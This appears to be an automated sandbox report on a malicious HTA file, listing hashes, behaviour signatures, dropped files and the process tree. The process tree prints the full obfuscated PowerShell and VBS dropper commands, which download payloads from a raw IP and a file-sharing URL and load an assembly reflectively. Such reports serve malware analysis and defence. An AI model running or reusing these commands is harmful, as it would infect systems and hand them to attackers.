Analysis

  • max time kernel
    121s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    16-11-2024 07:29

General

  • Target

    5c7f1d6ac7671a1b1764dba808cf52f5c5c48ce1cbd0f1c16d8f6cf0afe5d3c8.hta

  • Size

    178KB

  • MD5

    43f15554d66e784d988aa2da3ed2a136

  • SHA1

    6d0fb362a8aa62a046e25435e6a525e2ca61492d

  • SHA256

    5c7f1d6ac7671a1b1764dba808cf52f5c5c48ce1cbd0f1c16d8f6cf0afe5d3c8

  • SHA512

    2c06f6a513bd10d648dfec384fc1056b0e8f39a830e0671f9098961076de61ac7db5e0dc7724a7ffd403a4769b90324aeb785d0b16c13dfe7dd24342a9460cd9

  • SSDEEP

    96:4vCl17J1YiZVGTVy1YiZQGTVMFxfwVXNewJrC1YiZo1YiZDjGTVs1YiZkQ:4vCldfhjGTOheGTqHwShohxjGTYhuQ

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Evasion via Device Credential Deployment 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\5c7f1d6ac7671a1b1764dba808cf52f5c5c48ce1cbd0f1c16d8f6cf0afe5d3c8.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:1724
    • C:\Windows\SysWOW64\wiNdOwSPowErSHelL\v1.0\poWErSHELL.EXE
      "C:\Windows\SYsTem32\wiNdOwSPowErSHelL\v1.0\poWErSHELL.EXE" "POwERshelL.ExE -eX bYpasS -NOP -w 1 -C DeVIceCrEdENTialdEPLOYMeNT ; InVOke-expRESSioN($(InVokE-eXpReSsioN('[systEM.text.encoDinG]'+[ChAr]0x3A+[ChaR]0x3A+'UtF8.getSTRing([system.conVeRt]'+[chaR]0X3a+[Char]0x3A+'fROMbASE64sTrinG('+[CHAR]0X22+'JHc4Mm1RRCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhREQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tZW1iRVJkRUZJTmlUaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVyTG1PTi5kbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBJdCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBHZ2J5dVJqRE9ULHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN6S3pyLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwVVIsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUHpYKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAidUdVV29mIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQU1lc3BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5UW9Oc3ZVWVFmICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR3ODJtUUQ6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTM2LzMyL3NlZW15YmVzdHRoaW5nc3dpdGhlbnRpcmVsaWZldGltZXRoaW5nc3RvZG9teWJlc3QudElGIiwiJGVOdjpBUFBEQVRBXHNlZW15YmVzdHRoaW5nc3dpdGhlbnRpcmVsaWZldGltZXRoaW5nc3RvZG9teWIudmJTIiwwLDApO1NUYXJULXNMZUVQKDMpO2lleCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU5WOkFQUERBVEFcc2VlbXliZXN0dGhpbmdzd2l0aGVudGlyZWxpZmV0aW1ldGhpbmdzdG9kb215Yi52YlMi'+[ChAr]34+'))')))"
      2⤵
      • Blocklisted process makes network request
      • Evasion via Device Credential Deployment
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1528
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX bYpasS -NOP -w 1 -C DeVIceCrEdENTialdEPLOYMeNT
        3⤵
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2088
      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\x0i8sji9.cmdline"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2764
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA93B.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCA93A.tmp"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2632
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\seemybestthingswithentirelifetimethingstodomyb.vbS"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1816
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHZFckJPU2VQUkVmRVJlbkNlLlRPc3RyaW5nKClbMSwzXSsneCctSm9JbicnKSAoKCdwd2dpbWFnZVVybCcrJyAnKyc9IG9UQWh0dHBzOi8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3RHcm5UJysnSUNmRmhtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiJysnMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgb1RBOycrJ3B3Z3dlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7cHdnaW1hZ2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MpO3B3Z3ZhaU1ldGhvZCA9IFtkbicrJ2xpYi5JTy5Ib21lXS5HJysnZXRNZXRob2Qob1RBVkFJb1RBKTtwd2d2YWknKydNZXRob2QuSW52b2tlKHB3JysnZ251bGwsIEAob1RBdHh0LlNMTFBNUy8yMy82MzEuMzQyLjMuMjkxLy86cHR0aG9UQSwgb1RBZGVzYXRpdmFkb29UQSwnKycgb1RBZGVzJysnYXRpdmFkb29UQSwgb1RBZGVzYXQnKydpdmFkb29UQSwgb1RBYXNwbmV0X2NvbXBpbGVyb1RBLCBvVEFkJysnZXNhdGl2YWRvb1RBLCBvVEFkZXNhdGl2YWRvb1RBLG9UQWRlc2F0aXZhZG9vVEEsb1RBZGVzYXRpdmFkJysnb29UQSxvVEFkZScrJ3NhdGl2YWRvb1RBLG9UQWRlc2F0aXZhZG9vVEEsb1RBZGVzYXRpJysndmFkb29UQSxvVCcrJ0Exb1RBLG9UJysnQWRlc2F0aXZhZG9vVEEpKTsnKS5SZXBMQWNlKCdwd2cnLFtTVHJJbmddW0NoQXJdMzYpLlJlcExBY2UoKFtDaEFyXTExMStbQ2hBcl04NCtbQ2hBcl02NSksW1NUckluZ11bQ2hBcl0zOSkuUmVwTEFjZSgoW0NoQXJdNTIrW0NoQXJdMTExK1tDaEFyXTExNyksJ3wnKSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1040
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $vErBOSePREfERenCe.TOstring()[1,3]+'x'-JoIn'') (('pwgimageUrl'+' '+'= oTAhttps://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnT'+'ICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb'+'209c62c1730945176a0904f oTA;'+'pwgwebClient = New-Object System.Net.WebClient;pwgimageBytes = pwgwebClient.Downl'+'oadData(pwgimageUrl);pwgimageText = [System.T'+'ext.Encoding]::UTF8.GetString(pwgimageBytes);pwgstartFlag = oTA<<BASE64_'+'START>>oTA;pwgendFlag = oTA<<BASE64_END>>oTA;pwgstartIndex = pwgimageText.IndexOf(pwgstartFlag);pwgendIndex = pwgimageText.Index'+'Of(pwgendFlag);pwg'+'startIndex -ge 0 -and pwgendIndex -gt pwgstartIndex;pwgstartIndex += pwgstartFlag.Length;pwgbase64Length = pwgendIndex - pwgstartIndex;pwgbase64Command'+' = pwgimageText.Substring(pwgstartIndex, pwgbase64Length);pwgbase64Reversed = -join (pwgbase64Command.To'+'CharArray() 4ou ForEach-Object { pwg_ })[-1..-(pwgbase64Command.Length)];pwgcom'+'mandBytes = [System.Convert]::FromBase64String(pwgbase64Reversed);pwgloadedAssembl'+'y = [System.Reflection.Assembly]::Load(pwgcommandBytes);pwgvaiMethod = [dn'+'lib.IO.Home].G'+'etMethod(oTAVAIoTA);pwgvai'+'Method.Invoke(pw'+'gnull, @(oTAtxt.SLLPMS/23/631.342.3.291//:ptthoTA, oTAdesativadooTA,'+' oTAdes'+'ativadooTA, oTAdesat'+'ivadooTA, oTAaspnet_compileroTA, oTAd'+'esativadooTA, oTAdesativadooTA,oTAdesativadooTA,oTAdesativad'+'ooTA,oTAde'+'sativadooTA,oTAdesativadooTA,oTAdesati'+'vadooTA,oT'+'A1oTA,oT'+'AdesativadooTA));').RepLAce('pwg',[STrIng][ChAr]36).RepLAce(([ChAr]111+[ChAr]84+[ChAr]65),[STrIng][ChAr]39).RepLAce(([ChAr]52+[ChAr]111+[ChAr]117),'|'))"
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1000

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\RESA93B.tmp

    Filesize

    1KB

    MD5

    b4369f493355dc178b4e79f2e28cf3d4

    SHA1

    0fa80ff44272fb6d3d41177b1f22709883697cb3

    SHA256

    9f53d9c0cefe872d2c14297a514d3868e3b71e53c219be9669d1b6bdced89ac6

    SHA512

    4af610a5378884665810ec7c59fd013bef303552ecfafdc2f47ad09e5a7842efb2c801db455056780eb70d3b23d20a74e1a2dbf61ff6139c01e79ffc98909817

  • C:\Users\Admin\AppData\Local\Temp\x0i8sji9.dll

    Filesize

    3KB

    MD5

    b21dadf93f3e8a207afb6a96f87fcab6

    SHA1

    d0ded76ef3633e804710a8fe20d1e19898967f68

    SHA256

    f4181f310d089e69450f1d6aab30d93c3e4461dc3ddfcb71bbe680419ff212ab

    SHA512

    28a872e5042867e9a0d0635ed66ecd770b47cffaa17b9579913c71435ad3b4044e8c2ee55e6251e3c9a54be1bc3d088da569047684a5bddd4ef2fcdea983915b

  • C:\Users\Admin\AppData\Local\Temp\x0i8sji9.pdb

    Filesize

    7KB

    MD5

    c920984c0b87de208ed50f375f3334d5

    SHA1

    70e6bd33f18af5c62880731a166f8932c76ca122

    SHA256

    8a62479a2c78e9e39dc7f0b01d994668b8a34d678dc4c8f63246ed256d07dbbb

    SHA512

    134b8486c94b57b9782a2b54f0b9dde395a62cbefd79b42a636d067cdc92ccba482edfb6b43dd109ffe26f7f1e134d931842a01d0dd578b01ef5891c99e4e85c

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    8e81d83bd4b2a8af00ae6d056b4942a3

    SHA1

    4a1adc172d0ea37a91da6e33264c80bbebbc6d5c

    SHA256

    6e9643a010eed90d79841c48a45f108d8ea7c6963116f5acd1c3d61af52e1de4

    SHA512

    5473d40cc560d26918a5d1b74450b030b14f3aafdc40a81914539f30e9b8cd20a2b91e690725db0c98bbbb5e0c3ea3260c19698908ab42dea4bd6c3748d5de0a

  • C:\Users\Admin\AppData\Roaming\seemybestthingswithentirelifetimethingstodomyb.vbS

    Filesize

    138KB

    MD5

    100d059d24305dc95db276aa180dc4cf

    SHA1

    cb2e9d345f365a0dc65b61cf40865b223c4688ad

    SHA256

    87be9d53a554146bcbab91270c1ef35561f5168e6f84ea86c26d23b4c803247d

    SHA512

    14f70627cbb1adbb26d511d92558c471ca5354a1d0fa54a33d22d7c4933b6e1873871750f53318cd9c8d4e8b3f7627bac2f4bac3f295a67e2d35756ad951c8f5

  • \??\c:\Users\Admin\AppData\Local\Temp\CSCA93A.tmp

    Filesize

    652B

    MD5

    a363a957cfab925757a4f49145be0244

    SHA1

    9af108872004c332369148b879e2b20c107440d0

    SHA256

    7bf38d8a910ce6163db8ca074626d2647883875187da58ea12891b0d690bd7ad

    SHA512

    ce5f53e4b8de362235dcffdb3eb83d85404ad831f31b27c66e4e2bfe070721edbbdb8e90490584b06e6ffe8c5f5a714e704b741118d422a8ee0bf27c65f15546

  • \??\c:\Users\Admin\AppData\Local\Temp\x0i8sji9.0.cs

    Filesize

    476B

    MD5

    405282350b57e6d41b6d58a029558c64

    SHA1

    6c50ec9dd86fa438a3bc1af48a3b49f1bc364e49

    SHA256

    11a1bdc49e30fac7bc2cbebd22d8f4f072a449141ddd7e197f85ccb2ab331506

    SHA512

    5f45c0c1451fe0c044138c44b3708baf9468df7d91d1201dc05fcef629f9cab8fd9f66cc14a37c62a189829f1de22d4a1135813226bff45181283f59706de351

  • \??\c:\Users\Admin\AppData\Local\Temp\x0i8sji9.cmdline

    Filesize

    309B

    MD5

    f20a7e245f94e20b45c9dd2ee24ae007

    SHA1

    a8dd670a88b2912f3162afedc120e66f915e193a

    SHA256

    89e2e5f74df8c28ec0378688354a23ebe21575a17c9847d8ab75c1365b3778b1

    SHA512

    f9cdd4d939275a003ad3e83561879258a8d85189ac560cf45ff4d4ce8df8f640c05ccffbd054af206a0df9cbcf496bf18662bf4992d3b75bd37a3f3f16217d2a